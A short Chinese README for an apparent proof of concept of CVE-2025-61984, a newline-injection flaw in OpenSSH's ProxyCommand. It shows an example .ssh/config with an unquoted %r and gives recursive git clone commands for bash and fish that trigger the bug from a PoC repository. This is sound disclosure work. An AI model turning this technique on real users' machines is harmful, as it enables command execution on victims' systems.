这是一个概念验证,利用换行符来混淆 OpenSSH <10.1 的 ProxyCommand。完整文章。
创建一个包含以下内容的 .ssh/config:
Host *.example.com
ProxyCommand some-command %r@%h:%p
(命令内容无关紧要,只需在参数中某处包含一个未加引号的 %r 即可。)
然后运行(针对 bash):
$ git clone --recursive https://github.com/dgl/cve-2025-61984-poc
或者如果使用 fish 作为 $SHELL:
git clone --recursive -b fish https://github.com/dgl/cve-2025-61984-poc
如果你不使用该 shell 但想测试此漏洞,可以执行:
$ SHELL=/bin/bash git clone --recursive https://github.com/dgl/cve-2025-61984-poc